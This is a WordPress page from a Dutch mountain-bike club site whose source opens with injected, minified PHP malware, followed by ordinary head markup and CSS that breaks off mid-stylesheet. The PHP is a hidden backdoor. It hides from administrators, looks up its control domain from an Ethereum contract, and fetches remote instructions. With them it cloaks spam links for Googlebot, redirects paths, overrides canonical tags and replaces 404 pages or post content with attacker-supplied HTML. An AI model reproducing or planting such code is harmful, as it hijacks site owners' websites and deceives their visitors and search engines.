if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */<!DOCTYPE html>
<html lang="nl-NL">
<head>
	<meta charset="UTF-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name='robots' content='max-image-preview:large' />
<title>Haagse Helden &#8211; A.D.H.D. MTB</title>
<link rel='dns-prefetch' href='//www.googletagmanager.com' />
<link rel="alternate" type="application/rss+xml" title="A.D.H.D. MTB &raquo; feed" href="https://adhdmtb.nl/feed/" />
<link rel="alternate" type="application/rss+xml" title="A.D.H.D. MTB &raquo; reactiesfeed" href="https://adhdmtb.nl/comments/feed/" />
<script>
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/adhdmtb.nl\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.5"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
</script>
<link rel='stylesheet' id='wp-block-image-css' href='https://adhdmtb.nl/wp-includes/blocks/image/style.min.css?ver=6.5.5' media='all' />
<style id='wp-block-site-title-inline-css'>
.wp-block-site-title a{color:inherit}
</style>
<link rel='stylesheet' id='wp-block-navigation-css' href='https://adhdmtb.nl/wp-includes/blocks/navigation/style.min.css?ver=6.5.5' media='all' />
<style id='wp-block-group-inline-css'>
.wp-block-group{box-sizing:border-box}
</style>
<style id='wp-block-navigation-link-inline-css'>
.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{border-top:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-left:8px;text-transform:uppercase}.components-popover-pointer-events-trap{background-color:initial;cursor:pointer;inset:0;position:fixed;z-index:1000000}
</style>
<link rel='stylesheet' id='wp-block-social-links-css' href='https://adhdmtb.nl/wp-includes/blocks/social-links/style.min.css?ver=6.5.5' media='all' />
<style id='wp-block-post-title-inline-css'>
.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title a{display:inline-block}
</style>
<style id='wp-block-post-featured-image-inline-css'>
.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}
</style>
<style id='wp-block-paragraph-inline-css'>
.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}
</style>
<style id='wp-block-separator-inline-css'>
@charset "UTF-8";.wp-block-separator{border:none;border-top:2px solid}.wp-block-separator.is-style-dots{background:none!important;border:none;height:auto;line-height:1;text-align:center}.wp-block-separator.is-style-dots:before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}
</style>
<style id='wp-block-heading-inline-css'>
h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}
</style>
<style id='wp-block-button-inline-css'>
.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.wp-block-button .wp-block-button__link:where(.is-style-outline),.wp-block-button:where(.is-style-outline)>.wp-block-button__link{border:2px solid;padding:.667em 1.333em}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-text-color),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-text-color){color:currentColor}.wp-block-button .wp-block-button__link:where(.is-style-outline):not(.has-background),.wp-block-button:where(.is-style-outline)>.wp-block-button__link:not(.has-background){background-color:initial;background-image:none}.wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-left-width:medium}
</style>
<style id='wp-block-buttons-inline-css'>
.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter{text-align:center}
</style>
<style id='wp-block-columns-inline-css'>
.wp-block-columns{align-items:normal!important;box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}
</style>
<style id='wp-block-media-text-inline-css'>
.wp-block-media-text{box-sizing:border-box;
  /*!rtl:begin:ignore*/direction:ltr;
  /*!rtl:end:ignore*/display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1;
  /*!rtl:end:ignore*/margin:0}.wp-block-media-text .wp-block-media-text__content{direction:ltr;
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1;
  /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}
</style>
<link rel='stylesheet' id='sbi_styles-css' href='https://adhdmtb.nl/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.10.1' media='all' />
<style id='wp-emoji-styles-inline-css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<style id='wp-block-library-inline-css'>
:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
</style>
<style id='global-styles-inline-css'>
body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--foreground: #FFF;--wp--preset--color--background: #2C2C2C;--wp--preset--color--primary: #FF502D;--wp--preset--color--secondary: #AAA;--wp--preset--color--tertiary: #555;--wp--preset--color--quaternary: #444;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--gradient--foreground-to-background: linear-gradient(160deg, var(--wp--preset--color--foreground), var(--wp--preset--color--background));--wp--preset--gradient--foreground-to-primary: linear-gradient(160deg, var(--wp--preset--color--foreground), var(--wp--preset--color--primary));--wp--preset--gradient--foreground-to-secondary: linear-gradient(160deg, var(--wp--preset--color--foreground), var(--wp--preset--color--secondary));--wp--preset--gradient--foreground-to-quaternary: linear-gradient(160deg, 